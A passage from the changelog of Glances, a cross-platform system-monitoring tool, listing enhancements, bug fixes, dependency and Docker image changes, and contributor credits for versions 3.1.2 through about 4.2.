display Unknown information in the cloud plugin #2485\n* Filter Docker containers - #2962\n* Add retain to availability topic in MQTT plugin #2974\n* Make fields labelled in Green easier to see #2882\n\nBug corrected:\n\n* In TUI, when processes are filtered, column are not aligned #2980\n* Can't kill process. Standalone, Ubuntu 24.04 #2942\n* Internal Server Error #2943\n* Timezone for warning/errors is incorrect #2901\n* Error while initializing the containers plugin ('type' object is not subscriptable) #2922\n* url_prefix do not work in Glances < 4.2.0 - Correct issue with mount #2912\n* Raid plugin breaks with inactive raid0 arrays #2908\n* Crash when terminal is resized #2872\n* Check if server name is not null in the Glances browser - Related to #2861\n* Only display VMs with a running status (in the Vms plugin)\n\nContinuous integration and documentation:\n\n* Incomplete pipx install to allow webui + containers #2955\n* Stick FastAPI version to 0.82.0 or higher (latest is better) - Related to #2926\n* api/4/vms returns a dict, thus breaking make test-restful #2918\n* Migration to Alpine 3.20 and Python 3.12 for Alpine Docker\n\nImprove code quality (thanks to Ariel Otilibili !):\n\n* Merge pull request #2959 from ariel-anieli/plugins-port-alerts\n* Merge pull request #2957 from ariel-anieli/plugin-port-msg\n* Merge pull request #2954 from ariel-anieli/makefile\n* Merge pull request #2941 from ariel-anieli/refactor-alert\n* Merge pull request #2950 from ariel-anieli/revert-commit-01823df9\n* Merge pull request #2932 from ariel-anieli/refactorize-display-plugin\n* Merge pull request #2924 from ariel-anieli/makefile\n* Merge pull request #2919 from ariel-anieli/refactor-plugin-model-msg-curse\n* Merge pull request #2917 from ariel-anieli/makefile\n* Merge pull request #2915 from ariel-anieli/refactor-process-thread\n* Merge pull request #2913 from ariel-anieli/makefile\n* Merge pull request #2910 from ariel-anieli/makefile\n* Merge pull request #2900 from ariel-anieli/issue-2801-catch-key\n* Merge pull request #2907 from ariel-anieli/refactorize-makefile\n* Merge pull request #2891 from ariel-anieli/issue-2801-plugin-msg-curse\n* Merge pull request #2884 from ariel-anieli/issue-2801-plugin-update\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n\n* Ariel Otilibili, he has made an incredible work to improve Glances code quality !\n* RazCrimson, thanks for all your contributions !\n* Bharath Vignesh J K\n* Neveda\n* ey-jo\n\n===============\nVersion 4.1.2\n===============\n\nBug corrected:\n\n* AttributeError: 'CpuPercent' object has no attribute 'cpu_percent' #2859\n\n===============\nVersion 4.1.1\n===============\n\nBug corrected:\n\n* Sensors data is not exported using InfluxDB2 exporter #2856\n\n===============\nVersion 4.1.0\n===============\n\nEnhancements:\n\n* Call process_iter.clear_cache() (PsUtil 6+) when Glances user force a refresh (F5 or CTRL-R) #2753\n* PsUtil 6+ no longer check PID reused #2755\n* Add support for automatically hiding network interfaces that are down or that don't have any IP addresses #2799\n\nBug corrected:\n\n* API: Network module is disabled but appears in endpoint \"all\" #2815\n* API is not compatible with requests containing special/encoding char #2820\n* 'j' hot key crashes Glances #2831\n* Raspberry PI - CPU info is not correct #2616\n* Graph export is broken if there is no graph section in Glances configuration file #2839\n* Glances API status check returns Error 405 - Method Not Allowed #2841\n* Rootless podman containers cause glances to fail with KeyError #2827\n* --export-process-filter Filter using complete command #2824\n* Exception when Glances is ran with limited plugin list #2822\n* Disable separator option do not work #2823\n\nContinuous integration and documentation:\n\n* test test_107_fs_plugin_method fails on aarch64-linux #2819\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n\n* Bharath Vignesh J K\n* RazCrimson\n* Vadim Small\n\n===============\nVersion 4.0.8\n===============\n\n* Make CORS option configurable security webui #2812\n* When Glances is installed via venv, default configuration file is not used documentation packaging #2803\n* GET /1272f6e9e8f9d6bfd6de.png results in 404 bug webui #2781 by Emporea was closed May 25, 2024\n* Screen frequently flickers when outputting to local display bug needs test #2490\n* Retire ujson for being in maintenance mode dependencies enhancement #2791\n\n===============\nVersion 4.0.7\n===============\n\n* cpu_hz_current not available on NetBSD #2792\n* SensorType change in REST API breaks compatibility in 4.0.4 #2788\n\n===============\nVersion 4.0.6\n===============\n\n*  No GPU info on Web View #2796\n\n===============\nVersion 4.0.5\n===============\n\n* SensorType change in REST API breaks compatibility in 4.0.4 #2788\n* Please make pydantic optional dependency, not required one #2777\n* Update the Grafana dashboard #2780\n* 4.0.4 - On Glances startup \"ERROR -- Can not init battery class #2776\n* In codeSpace (with Python 3.8), an error occurs in ./unittest-restful.py #2773\n\nUse Ruff as default Linter.\n\n===============\nVersion 4.0.4\n===============\n\nHostfix release for support sensors plugin on python 3.8\n\n===============\nVersion 4.0.3\n===============\n\nAdditional fixes for Sensor plugin\n\n===============\nVersion 4.0.2\n===============\n\n* hotfix: plugin(sensors) - race conditions btw fan_speed & temperature… #2766\n* fix: include requirements.txt and SECURITY.md for pypi dist #2761\n\nThanks to RazCrimson for the sensors patch !\n\n===============\nVersion 4.0.1\n===============\n\nCorrect issue with CI (miss pydantic dep).\n\n===============\nVersion 4.0.0\n===============\n\nSee release note in Wiki format: https://github.com/nicolargo/glances/wiki/Glances-4.0-Release-Note\n\n**BREAKING CHANGES:**\n\n* The minimal Python version is 3.8\n* The Glances API version 3 is replaced by the version 4. So Restful API URL is now /api/4/ #2610\n* Alias definition change in the configuration file #1735\n\nGlances version 3.x and lower:\n\n    sda1_alias=InternalDisk\n\n    sdb1_alias=ExternalDisk\n\nGlances version 4.x and higher:\n\n    alias=sda1:InternalDisk,sdb1:ExternalDisk\n\n* Alert data model change from a list of list to a list of dict #2633\n* Docker memory usage uses the same algorithm than docker stats #2637\n\nSpecial notes for package maintainers:\n\nMinimal requirements for Glances version 4 are:\n\n* psutil\n* defusedxml\n* packaging\n* ujson\n* pydantic\n* fastapi (for WebUI / RestFul API)\n* uvicorn (for WebUI / RestFul API)\n* jinja2 (for WebUI / RestFul API)\n\nMajors changes between Glances version 3 and version 4:\n\n* Bottle has been replaced by FastAPI and Uvicorn\n* CouchDB has been replaced by PyCouchDB\n* nvidia-ml-py has been replaced by py3nvml\n* pysnmp has been replaced by pysnmp-lextudio\n\nEnhancements:\n\n* Export individual processes stats #794\n* [WebUI] Feature Request: Ability to hide Engine and Pod columns in Containers #2423\n* [IP plugin] Make the public ip information more configurable (not only from the Censys service) #2732\n* Getting field information (description, unit) from the API #2630\n* Refactor alias configuration and allow alias for fs devices #1735\n* Improve alert with mininimal interval/duration configuration keys #2558\n* --stdout plugin.attr is not compliant with plugins returning list of dicts #2446\n* Lot's of log messages when a proxy is used with the Podman plugin #2714\n* [WEBUI & CURSES] Make the left menu configurable #2648\n* [WEBUI] Custom system header information #2695\n* [CURSES] Use normal color for normal text instead of an arbitrary color #2687\n* [WEBUI] Showing the full arguments on the command column of the TASKS #2634\n* Add graph export for GPU plugin (related to #2542)\n* Refactor Alert data model from list of list to list of dict #2633\n* Use enum instead of int for callback API version. #2712\n* Make the alerts number configurable (related to #2558)\n* [WebUI] Added smart plugin support #2435\n* No more threshold display in the WebUI cpu/mem and memswap plugins #2420\n* Refactor Glances curses code #2580\n* Hide password in the Glances browser form #503\n* Replace Bottle by FastAPI #2181\n* Replace py3nvml with nvidia-ml-py #2688\n\nBug corrected:\n\n* Crash when reading timezone for generating alert #2659\n* Newline in container command corrupts display / hides container #2733\n* RAID plugin not showing up in Glances web UI (Docker install) #2716\n* Alerts showing different time than time plugin #2214\n* OpenBSD crash on start without a swap file/partition #2719\n* Folders plugin always fails on special directories #2518\n* Update dependency urllib3 to v2 #2397\n* Crach when ENTER key is pressed in the Alpine minimal image #2658\n* Crash when a process is pinned in the develop branch of Glances #2639\n* TERM setting causes glances to crash #2598\n* macOS: Read user config from ~/.config/glances #2641\n* Docker Prometheus issue with IRQ plugin #2564\n* Remove systemd from Curses (related to #2595)\n* Screen frequently flickers when outputting to local display #2490\n* Incorrect linux_distro in docker version glances #2439\n* Influxdb2 export not working #2407\n* Ignore/detect symlink loops in folders plugin #2494\n* Remove Clear-text logging of sensitive information - Code Scanning #36\n* Cannot start Glances 3.4.0.1 on Windows 10: SIGHUP not defined #2408\n* 3.4.0 crash on startupwith minimal deps #2401\n\nCI and documentation:\n\n* New logo for Glances version 4.0 #2713\n* Update api-restful.rst documentation #2496\n* Change Renovate config #2729\n* Docker compose password unrecognized arguments when applying docs #2698\n* Docker includes OS Release Volume mount info #2473\n* Update prometheus.rst, fix minor typos #2640\n* Fix typos and make grammatical and stylistic edits in project documentation #2625\n* MongoDB and CouchDB documentation flipped #2565\n* No module named 'influxdb' on the snap version of glances #1738\n\nMany thinks to the contributors:\n\n* Bharath Vignesh J K\n* Christoph Zimmermann\n* RazCrimson\n* Robin Candau\n* Github GPG access\n* Continuous Integration\n* Georgiy Timchenko\n* turbocrime\n* Kiskae\n* snyk-bot\n* Alexander Grigoryev\n* Claes Hallström\n* Francois Pires\n* Maarten Kossen (mpkossen)\n* Osama Albahrani\n* csteiner\n* k26pl\n* kdkd\n* monochromec\n* and all the beta testers !\n\n===============\nVersion 3.4.0.5\n===============\n\nCorrect issue with GPU plugin in Docker images #2705\n\n===============\nVersion 3.4.0.4\n===============\n\nCyber security patch (update some deps in the WebUI and Docker image)\n\n===============\nVersion 3.4.0.3\n===============\n\nBugs corrected:\n\n* Add glances binary to '/usr/local/bin' + Update ENV PATH to include '/venv/bin' in Dockerfiles #2419\n* No more threshold display in the WebUI cpu/mem and memswap plugins #2420\n\n===============\nVersion 3.4.0.2\n===============\n\nBugs corrected:\n\n* Cannot start Glances 3.4.0.1 on Windows 10: SIGHUP not defined #2408\n* Influxdb2 export not working #2407\n\n===============\nVersion 3.4.0.1\n===============\n\nBug corrected:\n\n* 3.4.0 crash on startupwith minimal deps #2401\n\n===============\nVersion 3.4.0\n===============\n\nEnhancements:\n\n* Enhance process \"extended stats\" display (in Curses interface) #2225\n  _You can now *pin* a specific process to the top of the process list_\n* Improve Glances start time by disabling Docker and Podman version getter - Related to #1985\n* Customizable InfluxDB2 export interval #2348\n* Improve kill signal management #2194\n* Display a critical error message if Glances is ran with both webserver and rpcserver mode\n* Refactor the Cloud plugin, disable it by default in the default configuration file - Related to #2279\n* Correct clear-text logging of sensitive information (security alert #29)\n* Use of a broken or weak cryptographic hashing algorithm (SHA256) on password storage #2175\n\nBug corrected:\n\n* Correct issue (error message) concerning the Cloud plugin - Related to #2392\n* InfluxDB2 export doesn't process folders correctly - missing key #2327\n* Index error when displaying programs on MacOS #2360\n* Dissociate 2 sensors with exactly the same names #2280\n* All times displayed in UTC - Container not using TZ/localtime (Docker) #2278\n* It is not possible to return API data for a particular mount point (FS plugin) #1162\n\nDocumentation and CI:\n\n* chg: Dockerfile - structured & cleaner build process #2386\n* Ubuntu is back as additional Docker images. Alpine stays the default one. Related to #2185\n* Improve Makefile amd docker-compose to support Podman and GPU\n* Workaround to pin urlib3<2.0 - Related to #2392\n* Error while generating the documentation (ModuleNotFoundError: No module named 'glances') #2391\n* Update Flamegraph (memory profiling)\n* Improve template for issue report and feature request\n* Parameters in the VIRT column #2343\n* Graph generation documentation is not clear #2336\n* docs: Docker - include tag details\n* Add global architecture diagram (Excalidraw)\n* Links to documents in sample glances.conf are not valid. #2271\n* Add semgrep support\n* Smartmontools missing from full docker image #2262\n* Improve documentation regarding regexp in configuration file\n* Improve documentation about the [ip] plugin #2251\n\nCyber security update:\n\n* All libs have been updated to the latest version\n      Full roadmap here: https://github.com/nicolargo/glances/milestone/62?closed=1\n\nRefactor the Docker images factory, from now, Alpine and Ubuntu images will be provided (nicolargo/glances):\n\n- *latest-full* for a full Alpine Glances image (latest release) with all dependencies\n- *latest* for a basic Alpine Glances (latest release) version with minimal dependencies (Bottle and Docker)\n- *dev* for a basic Alpine Glances image (based on development branch) with all dependencies (Warning: may be instable)\n- *ubuntu-latest-full* for a full Ubuntu Glances image (latest release) with all dependencies\n- *ubuntu-latest* for a basic Ubuntu Glances (latest release) version with minimal dependencies (Bottle and Docker)\n- *ubuntu-dev* for a basic Ubuntu Glances image (based on development branch) with all dependencies (Warning: may be instable)\n\nContributors for this version:\n\n* Nicolargo\n* RazCrimson: a very special thanks to @RazCrimson for his huge work on this version !\n* Bharath Vignesh J K\n* Raz Crimson\n* fr4nc0is\n* Florian Calvet\n* Ali Erdinç Köroğlu\n* Jose Vicente Nunez\n* Rui Chen\n* Ryan Horiguchi\n* mfridge\n* snyk-bot\n\n===============\nVersion 3.3.1.1\n===============\n\nHard patch on the master branch.\n\nBug corrected:\n\n* \"ModuleNotFoundError: No module named 'ujson'\" #2246\n* Remove surrounding quotes for quoted command arguments #2247 (related to #2239)\n\n===============\nVersion 3.3.1\n===============\n\nEnhancements:\n\n* Minor change on the help screen\n* Refactor some loop in the processes function\n* Replace json by ujson #2201\n\nBug corrected:\n\n* Unable to see docker related information #2180\n* CSV export dependent on sort order for docker container cpu #2156\n* Error when process list is displayed in Programs mode #2209\n* Console formatting permanently messed up when other text printed #2211\n* API GET uptime returns formatted string, not seconds as the doc says #2158\n* Glances UI is breaking for multiline commands #2189\n\nDocumentation and CI:\n\n* Add unitary test for memory profiling\n* Update memory profile chart\n* Add run-docker-ubuntu-* in Makefile\n* The open-web-browser option was missing dashes #2219\n* Correct regexp in glances.conf file example\n* What is CW from network #2222 (related to discussion #2221)\n* Change Glances repology URL\n* Add example for the date format\n* Correct Flake8 configuration file\n* Drop UT for Python 3.5 and 3.6 (no more available in Ubuntu 22.04)\n* Correct unitary test with Python 3.5\n* Update Makefile with comments\n* Update Python minimal requirement for py3nvlm\n* Update security policy (user can open private issue directly in Github)\n* Add a simple run script. Entry point for IDE debugger\n\nCyber security update:\n\n* Security alert on ujson < 5.4\n* Merge pull request #2243 from nicolargo/renovate/nvidia-cuda-12.x\n* Merge pull request #2244 from nicolargo/renovate/crazy-max-ghaction-docker-meta-4.x\n* Merge pull request #2228 from nicolargo/renovate/zeroconf-0.x\n* Merge pull request #2242 from nicolargo/renovate/crazy-max-ghaction-docker-meta-4.x\n* Merge pull request #2239 from mfridge/action-command-split\n* Merge pull request #2165 from nicolargo/renovate/zeroconf-0.x\n* Merge pull request #2199 from nicolargo/renovate/alpine-3.x\n* Merge pull request #2202 from chncaption/oscs_fix_cdr0ts8au51t49so8c6g\n* Bump loader-utils from 2.0.0 to 2.0.3 in /glances/outputs/static #2187 - Update Web lib\n\nContributors for this version:\n\n* Nicolargo\n* renovate[bot]\n* chncaption\n* fkwong\n* *mfridge\n\nAnd also a big thanks to @RazCrimson (https://github.com/RazCrimson) for the support to the Glances community !\n\n===============\nVersion 3.3.0.4\n===============\n\nRefactor the Docker images factory, from now, only Alpine image will be provided.\n\nThe following Docker images (nicolargo/glances) are availables:\n\n- *latest-full* for a full Alpine Glances image (latest release) with all dependencies\n- *latest* for a basic Alpine Glances (latest release) version with minimal dependencies (Bottle and Docker)\n- *dev* for a basic Alpine Glances image (based on development branch) with all dependencies (Warning: may be instable)\n\n===============\nVersion 3.3.0.2\n===============\n\nBug corrected:\n* Password files in same configuration dir in effect #2143\n* Fail to load config file on Python 3.10 #2176\n\n===============\nVersion 3.3.0.1\n===============\n\nJust a version to rebuild the Docker images.\n\n===============\nVersion 3.3.0\n===============\n\nEnhancements:\n\n* Migration from AngularJS to Angular/React/Vue #2100 (many thanks to @fr4nc0is)\n* Improve the IP module with a link to Censys #2105\n* Add the public IP information to the WebUI #2105\n* Add an option to show a configurable clock/time module to display #2150\n* Add sort information on Docker plugin (console mode). Related to #2138\n* Password files in same configuration dir in effect #2143\n* If the container name is long, then display the start, not the end - Related to #1732\n* Make the Web UI same than Console for CPU plugin\n* [WINDOWS] Reorganise CPU stats display #2131\n* Remove the static exportable_plugins list from glances_export.py #1556\n* Limiting data exported for economic storage #1443\n\nBug corrected:\n\n* glances.conf FS hide not applying #1666\n* AMP: regex with special chars #2152\n* fix(help-screen): add missing shortcuts and columnize algorithmically #2135\n* Correct issue with the regexp filter (use fullmatch instead of match)\n* Errors when running Glances as web service #1702\n* Apply alias to Duplicate sensor name #1686\n* Make the hide function in sensors section compliant with lower/uppercase #1590\n* Web UI truncates the days part of CPU time counter of the process list #2108\n* Correct alignment issue with the diskio plugin (Console UI)\n\nDocumentation and CI:\n\n* Refactor Docker file CI\n* Add Codespell to the CI pipeline #2148\n* Please add docker-compose example and document example. #2151\n* [DOC] Glances failed to start and some other issues - BSD #2106\n* [REQUEST Docker image] Output log to stdout #2128 (for debian)\n* Fix code scanning alert - Clear-text logging of sensitive information #2124\n* Improve makefile (with online documentation)\n* buildx failed with: ERROR: failed to solve: python:3.10-slim-buster: no match for platform in manifest #2120\n* [Update docs] Can I export only the fields I need in csv report？ #2113\n* Windows Python 3 installation fails on dependency package \"future\" #2109\n\nContributors for this version:\n\n* fr4nc0is : a very special thanks to @fr4nc0is for his huge work on the Glances v3.3.0 WebUI !!!\n* Kostis Anagnostopoulos\n* Kian-Meng Ang\n* dependabot[bot]\n* matthewaaronthacker\n* and your servant Nicolargo\n\n===============\nVersion 3.2.7\n===============\n\nEnhancements:\n\n* Config to disable all plugins by default (or enable an exclusive list) #2089\n* Keybind(s) for modifying nice level #2081\n* [WEBUI] Reorganize help screen #2037\n* Add a Json stdout option #2060\n* Improve error message when export error occurs\n* Improve error message when MQTT error occurs\n* Change the way core are displayed\n* Remove unused key in the process list\n* Refactor top menu of the curse interface\n* Improve Irix display for the load plugin\n\nBug corrected:\n\n* In the sensor plugin thresholds in the configuration file should overwrite system ones #2058\n* Drive names truncated in Web UI #2055\n* Correct issue with CPU label\n\nDocumentation and CI:\n\n* Improve makefile help #2078\n* Add quote to the update command line (already ok for the installation). Related to #2073\n* Make Glances (almost) compliant with REUSE #2042\n* Update README for Debian package users\n* Update documentation for Docker\n* Update docs for new shortcut\n* Disable Pyright on the Git actions pipeline\n* Refactor comments\n* Except datutil import error\n* Another dep issue solved in the Alpine Docker + issue in the outdated method\n\nContributors for this version:\n\n* Nicolargo\n* Sylvain MOUQUET\n* FastThenLeft\n* Jiajie Chen\n* dbrennand\n* ewuerger\n\n===============\nVersion 3.2.6\n===============\n\nEnhancement requests:\n\n* Create a Show option in the configuration file to only show some stats #2052\n* Use glances.conf file inside docker-compose folder for Docker images\n* Optionally disable public ip #2030\n* Update public ip at intervals #2029\n\nBug corrected:\n\n* Unitary tests should run loopback interface #2051\n* Add python-datutil dep for Focker plugin #2045\n* Add venv to list of .PHONY in Makefile #2043\n* Glances API Documentation displays non valid json #2036\n\nA big thanks to @RazCrimson for his contribution !\n\nThanks for others contributors:\n\n* Steven Conaway\n* aekoroglu\n\n===============\nVersion 3.2.5\n===============\n\nEnhancement requests:\n\n* Add a Accumulated per program function to the Glances process list needs test new feature plugin/ps #2015\n* Including battery and AC adapter health in Glances enhancement new feature #1049\n* Display uptime of a docker container enhancement plugin/docker #2004\n* Add a code formatter enhancement #1964\n\nBugs corrected:\n\n* Threading.Event.isSet is deprecated in Python 3.10 #2017\n* Fix code scanning alert - Clear-text logging of sensitive information security #2006\n* The gpu temperature unit are displayed incorrectly in web ui bug #2002\n* Doc for 'alert' Restful/JSON API response documentation #1994\n* Show the spinning state of a disk documentation #1993\n* Web server status check endpoint enhancement #1988\n* --time parameter being ignored for client/server mode bug #1978\n* Amp with pipe do not work documentation #1976\n* glances_ip.py plugin relies on low rating / malicious site domain bug security #1975\n* \"N\" command freezes/unfreezes the current time instead of show/hide bug #1974\n* Missing commands in help \"h\" screen enhancement needs contributor #1973\n* Grafana dashboards not displayed with influxdb2 enhancement needs contributor #1960\n* Glances reports different amounts of used memory than free -m or top documentation #1924\n* Missing: Help command doesn't have info on TCP Connections bug documentation enhancement needs contributor #1675\n* Docstring convention documentation enhancement #940\n\nThanks for the bug report and the patch: @RazCrimson, @Karthikeyan Singaravelan, @Moldavite, @ledwards\n\n===============\nVersion 3.2.4.1\n===============\n\nBugs corrected:\n\n* Missing packaging dependency when using pip install #1955\n\n===============\nVersion 3.2.4\n===============\n\nBugs corrected:\n\n* Failure to start on Apple M1 Max #1939\n* Influxdb2 via SSL #1934\n* Update WebUI (security patch). Thanks to @notFloran.\n* Switch from black <> white theme with the '9' hotkey - Related to issue #976\n* Fix: Docker plugin - Invalid IO stats with Arch Linux #1945\n* Bug Fix: Docker plugin - Network stats not being displayed #1944\n* Fix Grafana CPU temperature panel #1954\n* is_disabled name fix #1949\n* Fix tipo in documentation #1932\n* distutils is deprecated in Python 3.10 #1923\n* Separate battery percentages #1920\n* Update docs and correct make docs-server target in Makefile\n\nEnhancement requests:\n\n* Improve --issue by displaying the second update iteration and not the first one. More relevant\n* Improve --issue option with Python version and paths\n* Correct an issue on idle display\n* Refactor Mem + MemSwap Curse\n* Refactor CPU Curses code\n\nContributors for this version:\n* Nicolargo\n* RazCrimson\n* Floran Brutel\n* H4ckerxx44\n* Mohamad Mansour\n* Néfix Estrada\n* Zameer Manji\n\n===============\nVersion 3.2.3.1\n===============\n\nPatch to correct issue (regression) #1922:\n\n* Incorrect processes disk IO stats #1922\n* DSM 6 docker error crash /sys/class/power_supply #1921\n\n===============\nVersion 3.2.3\n===============\n\nBugs corrected:\n\n* Docker container monitoring only show half command? #1912\n* Processor name getting cut off #1917\n* batinfo not in docker image (and in requirements files...) ? #1915\n* Glances don't send hostname (tag) to influxdb2 #1913\n* Public IP address doesn't display anymore #1910\n* Debian Docker images broken with version 3.2.2 #1905\n\nEnhancement requests:\n\n* Make the process sort list configurable through the command line #1903\n* [WebUI] truncates network name #1699\n\n===============\nVersion 3.2.2\n===============\n\nBugs corrected:\n\n* [3.2.0/3.2.1] keybinding not working anymore #1904\n* InfluxDB/InfluxDB2 Export object has no attribute hostname #1899\n\nDocumentation: The \"make docs\" generate RestFul/API documentation file.\n\n===============\nVersion 3.2.1\n===============\n\nBugs corrected:\n\n* Glances 3.2.0 and influxdb export - Missing network data bug #1893\n\nEnhancement requests:\n\n* Security audit - B411 enhancement (Monkey patch XML RPC Lib) #1025\n* Also search glances.conf file in /usr/share/doc/glances/glances.conf #1862\n\n===============\nVersion 3.2.0\n===============\n\nThis release is a major version (but minor number because the API did not change). It focus on\n*CPU consumption*. I use `Flame profiling https://github.com/nicolargo/glances/wiki/Glances-FlameGraph`_\nand code optimization to *reduce CPU consumption from 20% to 50%* depending on your system.\n\nEnhancement and development requests:\n\n* Improve CPU consumption\n        - Make the refresh rate configurable per plugin #1870\n        - Add caching for processing username and cmdline\n        - Correct and improve refresh time method\n        - Set refresh rate for global CPU percent\n        - Set the default refresh rate of system stats to 60 seconds\n        - Default refresh time for sensors is refresh rate * 2\n        - Improve history perf\n        - Change main curses loop\n        - Improve Docker client connection\n        - Update Flame profiling\n* Get system sensors temperatures thresholds #1864\n* Filter data exported from Docker plugin\n* Make the Docker API connection timeout configurable\n* Add --issue to Github issue template\n* Add release-note in the Makefile\n* Add some comments in cpu_percent\n* Add some comments to the processlist.py\n* Set minimal version for PSUtil to 5.3.0\n* Add comment to default glances.conf file\n* Improve code quality #820\n* Update WebUI for security vuln\n\nBugs corrected:\n\n* Quit from help should return to main screen, not exit #1874\n* AttributeError: 'NoneType' object has no attribute 'current' #1875\n* Merge pull request #1873 from metayan/fix-history-add\n* Correct filter\n* Correct Flake8 issue in plugins\n* Pressing Q to get rid of irq not working #1792\n* Spelling correction in docs #1886\n* Starting an alias with a number causes a crash #1885\n* Network interfaces not applying in web UI #1884\n* Docker containers information missing with Docker 20.10.x #1878\n* Get system sensors temperatures thresholds #1864\n\nContributors for this version:\n\n* Nicolargo\n* Markus Pöschl\n* Clifford W. Hansen\n* Blake\n* Yan\n\n===============\nVersion 3.1.7\n===============\n\nEnhancements and bug corrected:\n\n* Security audit - B411 #1025 (by nicolargo)\n* GPU temperature not shown in webview #1849 (by nicolargo)\n* Remove shell=True for actions (following Bandit issue report) #1851 (by nicolargo)\n* Replace Travis by Github action #1850 (by nicolargo)\n* '/api/3/processlist/pid/3936'use this api can't get right info,all messy code #1828 (by nicolargo)\n* Refactor the way importants stats are displayed #1826 (by nicolargo)\n* Re-apply the Add hide option to sensors plugin #1596 PR (by nicolargo)\n* Smart plugin error while start glances as root #1806 (by nicolargo)\n* Plugin quicklook takes more than one seconds to update #1820 (by nicolargo)\n* Replace Pystache by Chevron 2/2  See #1817 (by nicolargo)\n* Doc. No SMART screenshot. #1799 (by nicolargo)\n* Update docs following PR #1798 (by nicolargo)\n\nContributors for this version:\n\n    - Nicolargo\n    - Deosrc\n    - dependabot[bot]\n    - Michael J. Cohen\n    - Rui Chen\n    - Stefan Eßer\n    - Tuux\n\n===============\nVersion 3.1.6.2\n===============\n\nBugs corrected:\n\n* Remove bad merge for a non tested feature (see https://github.com/nicolargo/glances/issues/1787#issuecomment-774682954)\n\nVersion 3.1.6.1\n===============\n\nBugs corrected:\n\n* Glances crash after installing module for shown GPU information on Windows 10 #1800\n\nVersion 3.1.6\n=============\n\nEnhancements and new features:\n\n* Kill a process from the Curses interface #1444\n* Manual refresh on F5 in the Curses interface #1753\n* Hide function in sensors section #1590\n* Enhancement Request: .conf parameter for AMP #1690\n* Password for Web/Browser mode  #1674\n* Unable to connect to Influxdb 2.0 #1776\n* ci: fix release process and improve build speeds #1782\n* Cache cpuinfo output #1700\n* sort by clicking improvements and bug #1578\n* Allow embedded AMP python script to be placed in a configurable location #1734\n* Add attributes to stdout/stdout-csv plugins #1733\n* Do not shorten container names #1723\n\nBugs corrected:\n\n* Version tag for docker image packaging #1754\n* Unusual characters in cmdline cause lines to disappear and corrupt the display #1692\n* UnicodeDecodeError on any command with a utf8 character in its name #1676\n* Docker image is not up to date install #1662\n* Add option to set the strftime format #1785\n* fix: docker dev build contains all optional requirements #1779\n* GPU information is incomplete via web #1697\n* [WebUI] Fix display of null values for GPU plugin #1773\n* crash on startup on Illumos when no swap is configured #1767\n* Glances crashes with 2 GPUS bug #1683\n* [Feature Request] Filter Docker containers#1748\n* Error with IP Plugin : object has no attribute #1528\n* docker-compose #1760\n* [WebUI] Fix sort by disk io #1759\n* Connection to MQTT server failst #1705\n* Misleading image tag latest-arm needs contributor packaging #1419\n* Docker nicolargo/glances:latest missing arm builds? #1746\n* Alpine image is broken packaging #1744\n* RIP Alpine? needs contributor packaging #1741\n* Manpage improvement documentation #1743\n* Make build reproducible packaging #1740\n* Automated multiarch builds for docker #1716\n* web ui of glances is not coming #1721\n* fixing command in json.rst #1724\n* Fix container rss value #1722\n* Alpine Image is broken needs test packaging #1720\n* Fix gpu plugin to handle multiple gpus with different reporting capabilities bug #1634\n\nVersion 3.1.5\n=============\n\nEnhancements and new features:\n\n* Enhancement: RSS for containers enhancement #1694\n* exports: support rabbitmq amqps enhancement #1687\n* Quick Look missing CPU Infos enhancement #1685\n* Add amqps protocol support for rabbitmq export #1688\n* Select host in Grafana json #1684\n* Value for free disk space is counterintuative on ext file systems enhancement #644\n\nBugs corrected:\n\n* Can't start server: unexpected keyword argument 'address' bug enhancement #1693\n* class AmpsList method _build_amps_list() Windows fail (glances/amps_list.py) bug #1689\n* Fix grammar in sensors documentation #1681\n* Reflect \"used percent\" user disk space for [fs] alert #1680\n* Bug: [fs] plugin needs to reflect user disk space usage needs test #1658\n* Fixed formatting on FS example #1673\n* Missing temperature documentation #1664\n* Wiki page for starting as a service documentation #1661\n* How to start glances with --username option on syetemd? documentation #1657\n* tests using /etc/glances/glances.conf from already installed version bug #1654\n* Unittests: Use sys.executable instead of hardcoding the python interpreter #1655\n* Glances should not phone home install #1646\n* Add lighttpd reverse proxy config to the wiki documentation #1643\n* Undefined name 'i' in plugins/glances_gpu.py bug #1635\n\nVersion 3.1.4\n=============\n\nEnhancements and new features:\n\n* FS filtering can be done on device name documentation enhancement #1606\n* Feature request: Include hostname in all (e.g. kafka) exports #1594\n* Threading.isAlive was removed in Python 3.9. Use is_alive. #1585\n* log file under public/shared tmp/ folders must not have deterministic name #1575\n* Install / Systemd Debian documentation #1560\n* Display load as percentage when Irix mode is disable #1554\n* [WebUI] Add a new TCP connections status plugin new feature #1547\n* Make processes.sort_key configurable enhancement #1536\n* NVIDIA GPU temperature #1523\n* Feature request: HDD S.M.A.R.T. #1288\n\nBugs corrected:\n\n* Glances 3.1.3: when no network interface with Public address #1615\n* NameError: name 'logger' is not defined #1602\n* Disk IO stats missing after upgrade to 5.5.x kernel #1601\n* Glances don't want to run on Crostini (LXC Container, Debian 10, python 3.7.3) #1600\n* Kafka key name needs to be bytes #1593\n* Can't start glances with glances --export mqtt #1581\n* [WEBUI] AMP plugins is not displayed correctly in the Web Interface #1574\n* Unhandled AttributeError when no config files found #1569\n* Glances writing lots of Docker Error message in logs file enhancement #1561\n* GPU stats not showing on mobile web view bug needs test #1555\n* KeyError: b'Rss:' in memory_maps #1551\n* CPU usage is always 100% #1550\n* IP plugin still exporting data when disabled #1544\n* Quicklook plugin not working on Systemd #1537\n\nVersion 3.1.3\n=============\n\nEnhancements and new features:\n\n  * Add a new TCP connections status plugin enhancement #1526\n  * Add --enable-plugin option from the command line\n\nBugs corrected:\n\n  * Fix custom refresh time in the web UI #1548 by notFloran\n  * Fix issue in WebUI with empty docker stats #1546 by notFloran\n  * Glances fails without network interface bug #1535\n  * Disable option in the configuration file is now take into account\n\nOthers:\n\n  * Sensors plugin is disable by default (high CPU consumption on some Liux distribution).\n\nVersion 3.1.2\n=============\n\nEnhancements and new features:\n\n  * Make CSV export append instead of replace #1525\n  * HDDTEMP config IP and Port #1508\n  * [Feature Request] Option in config to change character used to display percentage in Quicklook #1508\n\nBugs corrected:\n  * Cannot restart glances with --export influxdb after update to 3.1.1 bug #1530\n  * ip plugin empty interface bug #1509\n  * Glances Snap doesn't run on Orange Pi Zero running Ubuntu Core 16 bug #1517\n  * Error with IP Plugin : object has no attribute bug #1528\n  * repair the problem that when running 'glances --stdout-csv amps' #1520\n  * Possible typo in glances_influxdb.py #1514\n\nOthers:\n\n  * In debug mode (-d) all duration (init, update are now logged). Grep duration in log file.\n\nVersion 